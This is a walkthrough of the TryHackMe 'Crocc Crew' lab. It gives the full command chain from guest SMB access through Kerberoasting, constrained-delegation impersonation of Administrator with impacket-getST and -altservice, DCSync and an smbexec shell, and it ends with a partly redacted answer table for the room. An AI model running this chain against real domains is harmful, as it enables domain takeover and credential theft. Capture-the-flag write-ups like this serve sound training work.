TryHackMe Crocc Crew Walkthrough

TryHackMe Crocc Crew Walkthrough

Original Bugflare writeup of the Crocc Crew room. Hard-ish Active Directory. Target is domain controller COOCTUS.CORP. Story: Crocc Crew already backdoored the DC. You land on a segmented link with one host — find who they planted, then own the box properly.

Flags and passwords below are xxx / THM{xxx}.

Recon

nmap -sC -sV -Pn MACHINE_IP

Classic DC surface: 88 / 135 / 139 / 389 / 445 / 464 / 636 / 3389. Hosts:

MACHINE_IP  dc.cooctus.corp dc.COOCTUS.CORP COOCTUS.CORP

User flag — Visitor SMB

Enum (and/or the room lore) points at guest-style creds. Login as Visitor with the password you find on the box (redacted here):

Visitor : xxx

smbclient -U 'Visitor%xxx' //MACHINE_IP/Home -c 'ls; get user.txt'
cat user.txt

THM{xxx}

Guest SMB still pays. The user flag was just sitting on Home.

Planted account — who did Crocc Crew leave?

With Visitor, dump domain users:

enum4linux -u 'Visitor' -p 'xxx' -U MACHINE_IP
# or
impacket-GetADUsers -all 'COOCTUS.CORP/Visitor:xxx' -dc-ip MACHINE_IP

Among mark, cryillic, Visitor, password-reset, and friends, the implant is obvious once you see the name:

admCroccCrew

Twelve characters. Matches the room's "who hacked us" answer format. Naming is the tell.

Kerberoast → password-reset

impacket-GetUserSPNs 'COOCTUS.CORP/Visitor:xxx' -dc-ip MACHINE_IP -request -outputfile TGS.txt

SPN on password-reset (something like HTTP/dc.cooctus.corp), marked for constrained delegation.

Crack the TGS (hashcat 13100 / john krb5tgs):

password-reset : xxx

LDAP / BloodHound-style enum shows:

TRUSTED_TO_AUTH_FOR_DELEGATION

Constrained delegation with protocol transition toward:

oakley/DC.COOCTUS.CORP
oakley/DC
… (MSSQL-style SPNs)

So: S4U2Self + S4U2Proxy as any user — including Administrator — toward those oakley/... services.

Constrained delegation → Domain Admin ticket

impacket-getST -spn oakley/DC.COOCTUS.CORP \
  -impersonate Administrator \
  -dc-ip MACHINE_IP \
  'COOCTUS.CORP/password-reset:xxx'

You get a ccache along the lines of:

Administrator@oakley_DC.COOCTUS.CORP@COOCTUS.CORP.ccache

MSSQL (1433) is often filtered from the VPN segment, so talking to oakley directly may just hang. Impacket's -altservice rewrites the service name in the ticket (RC4-era trick) so the same S4U material works for LDAP/CIFS:

impacket-getST -spn oakley/DC.COOCTUS.CORP \
  -impersonate Administrator \
  -altservice ldap/dc.cooctus.corp \
  -dc-ip MACHINE_IP \
  'COOCTUS.CORP/password-reset:xxx'

impacket-getST -spn oakley/DC.COOCTUS.CORP \
  -impersonate Administrator \
  -altservice cifs/dc.cooctus.corp \
  -dc-ip MACHINE_IP \
  'COOCTUS.CORP/password-reset:xxx'

export KRB5CCNAME=./Administrator@cifs_dc.cooctus.corp@COOCTUS.CORP.ccache

Optional DCSync with the LDAP ticket:

export KRB5CCNAME=./Administrator@ldap_dc.cooctus.corp@COOCTUS.CORP.ccache
impacket-secretsdump -k -no-pass dc.cooctus.corp -dc-ip MACHINE_IP
# → Administrator NTLM → evil-winrm / smbexec PTH if WinRM is open on your instance

Without -altservice I burned time staring at timeouts. The allowed SPN is oakley; the reachable services from your segment are LDAP/CIFS. Rewrite the ticket.

Privileged + root flags

As Administrator (CIFS ticket or PTH shell):

C:\Shares\Home\priv-esc.txt      →  THM{xxx}
C:\Shares\Home\priv-esc-2.txt    →  THM{xxx}
C:\PerfLogs\Admin\root.txt       →  THM{xxx}

impacket-smbexec.py -k -no-pass dc.cooctus.corp -dc-ip MACHINE_IP
# type C:\Shares\Home\priv-esc.txt
# type C:\Shares\Home\priv-esc-2.txt
# type C:\PerfLogs\Admin\root.txt

Or pull via smbclient.py -k against C$. Loot lives in odd places on purpose — Shares\Home and PerfLogs\Admin.

Chain at a glance

Visitor (guest SMB)
  → Home\user.txt
  → enum → admCroccCrew (planted)
  → Kerberoast password-reset
  → constrained delegation + protocol transition (oakley/*)
  → getST -impersonate Administrator [-altservice ldap|cifs]
  → DA → Shares\Home + PerfLogs\Admin flags

Room answers (redacted)

| Question | Answer | |----------|--------| | User flag | THM{xxx} | | Planted account | admCroccCrew | | Privileged User's flag | THM{xxx} | | Second Privileged User's flag | THM{xxx} | | Root flag | THM{xxx} |

Accounts (secrets redacted)

| Account | Secret | |---------|--------| | Visitor | xxx | | password-reset | xxx | | admCroccCrew | planted backdoor identity — confirm via enum |

What stuck

Guest/visitor SMB still pays. admCroccCrew is the "who hacked us" answer written in the username. Constrained delegation with protocol transition remains one of the cleanest weak-SPN-account → DA paths. -altservice matters when the allowed SPN is not reachable from your segment but LDAP/CIFS are. Check weird share and PerfLogs paths before you assume the flags are under Desktop.

Replace MACHINE_IP with your lab address. Path spoilers only — crack and loot the real values yourself.